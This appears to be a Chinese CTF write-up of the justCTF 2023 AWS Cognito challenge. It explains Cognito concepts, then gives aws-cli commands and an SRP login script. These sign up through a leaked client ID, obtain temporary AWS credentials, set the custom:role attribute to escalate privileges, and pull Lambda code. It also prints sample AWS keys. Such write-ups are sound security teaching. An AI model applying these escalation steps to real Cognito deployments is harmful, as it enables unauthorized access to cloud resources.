justCTF2023-AWS Cognito认证服务的安全隐患
TL;DR
justCTF2023 Easy Auth Cloud题目,有关AWS Cognito认证服务可能存在的安全隐患
这道题目和文章 Hacking AWS Cognito Misconfigurations 思路大致相同,利用「Cognito」服务的默认配置和一些错误用法进行权限提升,但是多出几个细节,这里简单归结几点如下:
- Web应用没有注册和登录功能,前端JavaScript代码简单混淆,能够通过AWS Cognito JavaScript SDK 拿到App Client ID, User Pool ID, Identity Pool ID, and region 信息
- 攻击者首先需要获得Web应用的认证,在修改用户属性后,「Cognito Identity Pool」会基于ABAC(attribute based access control)的方式提供给用户更高权限的「AWS Credentials」,之后利用「AWS Credentials」获取托管在云上的「lambda」代码并解密出flag值
Cognito认证
「Cognito」是AWS提供的一项全托管的认证、授权和用户管理服务,通过「Cognito」,开发人员可以不用自行编写认证、授权和用户管理的代码,而是通过「Cognito」的API来完成这些操作。「Cognito」提供两种核心服务,分别为「UserPool」和「Identity Pool」
- UserPool:UserPool表示一个用户池,用于管理用户的注册、登录、身份验证和密码重置等操作。使用UserPool可以方便地创建和管理用户帐户,用以Web、Mobile APP的身份管理。此外,UserPool还支持社交身份验证,例如Facebook、Google等。
- Identity Pool:Identity Pool表示身份池,用于管理访问AWS服务的用户身份认证和授权。它与UserPool不同,它可以提供跨不同平台(不同应用程序和设备)的单一登录。身份池为应用程序用户提供了一组临时安全证书,这些证书可用于访问AWS服务。
通过这两种服务,开发人员可以方便地创建、管理和验证用户帐户,并管理应用程序的访问权限和安全性。
题目复现
开局给了个登陆页面,经过简单阅读前端JS代码后发现有对「Cognito SDK」的使用,调出前端控制台debug偏移就能够拿到「Cognito」信息
Client ID | User Pool ID | Identity Pool ID | region |
---|---|---|---|
g1l1udtdgp1cu30fogbucvh4d | eu-west-1_sEBJdM3TJ | eu-west-1:a4b696bc-7cc2-4818-a045-2ff49b601cbc | eu-west-1 |
后续的所有步骤都需要借助「aws-cli」,首先根据「clientID」向「Cognito」服务注册账号
aws cognito-idp sign-up --client-id "g1l1udtdgp1cu30fogbucvh4d" --region "eu-west-1" --username "hpdoger1" --password "*()Hpdoger123"
紧接着使用注册的账号登陆「User Pool」,作者只配置了「USER_SRP_AUTH」这种认证方式,我选择用「SDK」进行登陆模拟,运行如下登录脚本会打印用户登陆后的各种「Token」信息
import axios from 'axios'
import { SRPClient, calculateSignature, getNowString } from 'amazon-user-pool-srp-client'
function call (action, body) {
const request = {
url: 'https://cognito-idp.eu-west-1.amazonaws.com',
method: 'POST',
headers: {
'Content-Type': 'application/x-amz-json-1.1',
'X-Amz-Target': action
},
data: JSON.stringify(body),
transformResponse: (data) => data
}
return axios(request)
.then((result) => JSON.parse(result.data))
.catch((error) => {
const _err = JSON.parse(error.response.data)
const err = new Error()
err.code = _err.__type
err.message = _err.message
return Promise.reject(err)
})
}
function login (email, password) {
const userPoolId = process.env.CognitoUserPoolUsers.split('_')[1]
const srp = new SRPClient(userPoolId)
const SRP_A = srp.calculateA()
return call('AWSCognitoIdentityProviderService.InitiateAuth', {
ClientId: process.env.CognitoUserPoolClientWeb,
AuthFlow: 'USER_SRP_AUTH',
AuthParameters: {
USERNAME: email,
SRP_A
}
})
.then(({ ChallengeName, ChallengeParameters, Session }) => {
const hkdf = srp.getPasswordAuthenticationKey(ChallengeParameters.USER_ID_FOR_SRP, password, ChallengeParameters.SRP_B, ChallengeParameters.SALT)
const dateNow = getNowString()
const signatureString = calculateSignature(hkdf, userPoolId, ChallengeParameters.USER_ID_FOR_SRP, ChallengeParameters.SECRET_BLOCK, dateNow)
return call('AWSCognitoIdentityProviderService.RespondToAuthChallenge', {
ClientId: process.env.CognitoUserPoolClientWeb,
ChallengeName,
ChallengeResponses: {
PASSWORD_CLAIM_SIGNATURE: signatureString,
PASSWORD_CLAIM_SECRET_BLOCK: ChallengeParameters.SECRET_BLOCK,
TIMESTAMP: dateNow,
USERNAME: ChallengeParameters.USER_ID_FOR_SRP
},
Session
})
.then(({ AuthenticationResult }) => ({ username: ChallengeParameters.USERNAME, credentials: AuthenticationResult }))
})
}
process.env.CognitoUserPoolUsers = "eu-west-1_sEBJdM3TJ"
process.env.CognitoUserPoolClientWeb = "g1l1udtdgp1cu30fogbucvh4d"
login("hpdoger", "*()Hpdoger123").then((resp)=>{console.log(resp)})
这里会同时获得三种状态的「Token」,分别为:「AccessToken」、「IdToken」、「RefreshToken」
{
username: 'hpdoger',
credentials: {
AccessToken: 'eyJraW...',
ExpiresIn: 3600,
IdToken: 'eyJraWQiO...',
RefreshToken: 'eyJjd...',
TokenType: 'Bearer'
}
}
这三种Token应对场景不同,各司其职:
- AccessToken:AccessToken用于访问AWS资源的临时令牌,它只有短暂的有效期,通常保留在客户端。当用户通过认证成功之后,Cognito返回一个AccessToken,客户端在访问AWS资源的时候需要携带该AccessToken来证明自己的身份和权限。
- IdToken:IdToken是用于验证用户身份的令牌,通常在用户登录后进行访问。例如,当用户通过Cognito认证之后,服务器返回一个IdToken,客户端可以用来确认用户是谁,以及他们的权限。
- RefreshToken: Refresh Token是用于获取新的AccessToken和IdToken的令牌。当一个AccessToken到期时,客户端可以使用一个Refresh Token来获取一个新的AccessToken,而无需再次进行身份认证。Refresh Token通常仅在安全凭据存储中保留。
再引用一段描述区分「AccessToken」与「AWS Temporary Credentials」的异同
当用户通过Cognito进行认证后,Cognito会向用户发送一个AccessToken和一个IdToken,其中IdToken可以用于向AWS获取AWS临时证书(AWS Temporary Credentials)。
Access Token和AWS Temporary Credentials都是AWS Cognito中扮演身份认证的不同形式,但是它们之间有一些重要的区别:Access Token通常是无状态的,并且它存储的是经过加密的用户信息,允许用户访问受保护的资源,比如API Gateway;比较而言,Temporary Credentials是一种AWS IAM中生成的安全凭证,允许用户访问AWS中的资源,比如S3、EC2、lamada等。
简而言之,如果想要获得AWS云上的资源,就需要一份「AWS Temporary Credentials」。「Cognito」服务也是做这件事的,它可以让「Identity Pool」授权我们的「AccessToken」来生成「AWS Credentials」(包含AccessKeyId、SecrectKey、SecrectSession)
aws cognito-identity get-credentials-for-identity --identity-id YOUR_IDENTITY_ID --logins '{"YOUR_PROVIDER_NAME":"YOUR_PROVIDER_TOKEN"}'
其中「YOUR_IDENTITY_ID」为前端JS泄漏的「identity-id」;「YOUR_PROVIDER_NAME」可以根据「region」与「user-pool-id」拼接而来,且「YOUR_PROVIDER_NAME」的格式固定:「cognito-idp..amazonaws.com/」 ;「YOUR_PROVIDER_TOKEN」为「UserPool」登陆后返回的「IdToken」,那么对于这道题目来说运行的示例如下
aws cognito-identity get-credentials-for-identity \
--identity-id "eu-west-1:d19dc8bc-277b-4674-a022-cb844f96d1f3" \
--logins "cognito-idp.eu-west-1.amazonaws.com/eu-west-1_sEBJdM3TJ=eyJraW..."
得到的返回信息即为「AWS Credentials」,使用「export」将「AWS Credentials」引入环境变量后即可使用「aws-cli」访问AWS云上资源
export AWS_ACCESS_KEY_ID=ASIA6NYM5FVFAT442IEG
export AWS_SECRET_ACCESS_KEY=vCZKCemBP/NO65IQC0I9GO/V5c3gLkUiWpy2b1XO
export AWS_SESSION_TOKEN=IQoJb3JpZ....
但很可惜的是当前「AWS Credentials」对于存储桶的权限非常低,只能读到fake_flag文件,于是我决定对当前的「Credentials」枚举更多可用的权限。利用枚举探测的脚本:https://github.com/securisec/cliam ,发现当前「Credentials」能做的事情比较少,只能list部分s3 bucket
云上的部分暂且到这儿,再将思路拉回到Web题目本身,Index首页可以看到这样一句话
这或许暗示需要通过登陆获得进一步的提示信息,而整个「Web Application」并没有开放注册或登录的接口。但在第二步中,AWS用户凭证生成的三个Token中还包含了「AccessToken」,也是在搜索了相关用法后,发现有这样一篇文章:cognito-pentest。大概讲的就是,在基于AWS开发的业务中,通常会将「AccessToken」作为「Web Application」的用户态「JWT」使用
在请求「Web Application」时只需要携带「Authorization」头,内容为「AccessToken」,「AWS WebGateway」会根据此状态判别用户是否登录。于是当我们携带正确的「AccessToken」访问「/home」路由后,题目给出了新的提示:「only role xxx can get access」 同时「/flag」路径下面给了一段AES加密的字符串,意味着题目到这里还没有结束。在复盘时我想,这一步作者想考察的点在于,攻击者需要对当前的用户身份设置「role」,并且「role」为「fishy_moderator」的用户将在「IdentityPool」认证后拥有不一样的权限。
那么这个role意味着什么呢?先按照题目思路做下去,由于AWS默认开放了Own User Attribute Read/Write权限,并且User Pool providers内置了一些属性比如「name」、「email」、「phone_number」等,用户可以通过「update-user-attributes」更新用户属性。
aws cognito-idp update-user-attributes --access-token "eyJraw..." --user-attributes '[{"Name":"custom:role","Value":"fishy_moderator"}]'
更新完属性后,重新登陆刷新Token,就可以借助get-user验证刚刚设置的用户属性:「aws cognito-idp get-user –access-token “ey..”」
再次重复「IdentityPool」授权的步骤,拿到新的「AWS Credentials」,发现此时的「Credentials」具有「lambda list」的权限。
到这里,也是整个场景产生漏洞的原因:在AWS注册用户「sign-up」时默认会指定一个default Role,这个Role就作为用户属性(Attribute)存在,而「IdentityPool」认证后颁布的「AWS Credentials」是基于User ABAC(attribute-based access control)的,于是在前文中IdentityPool后拿到的「AWS Credentials」就非常有限,相当于Default Role仅能list s3 bucket。但是AWS Cognito默认允许用户修改Own User Attribute,那么攻击者就可以为自己设置新的Role,此时「IdentityPool」认证后的「AWS Credentials」就具有了新的权限—list lambda functions
这种攻击面也不是第一次出现,在文章:https://www.truesec.com/hub/blog/aws-cognito-token-security-one-step-closer 中,作者利用Owner User Attribute Update操作,更改了自己的用户身份,从而产生一系列越权漏洞。
再回到题目,利用新的「AWS Credentials」列出「lambda functions」,能够发现计算「flag」的「lambda」函数
aws lambda list-functions --profile jctf --region eu-west-1
再通过「get-function」获得「FlagLambda」代码所在位置:
aws lambda get-function --function-name FlagLambda --query 'Code.Location' --profile jctf --region eu-west-1
凭借相同的方式,在多个「lambda」代码获得AES加密flag的「key」 + 「nonce」,结合前文/flag路由获取到的flag密文从而解码出flag值,题目到这里也就结束了。
总结
总的来说,漏洞的核心在于作者配置了Cognito Identity Pool认证时采用ABAC的方式,且ABAC的部分值又由用户可控,信任空间没有把握好。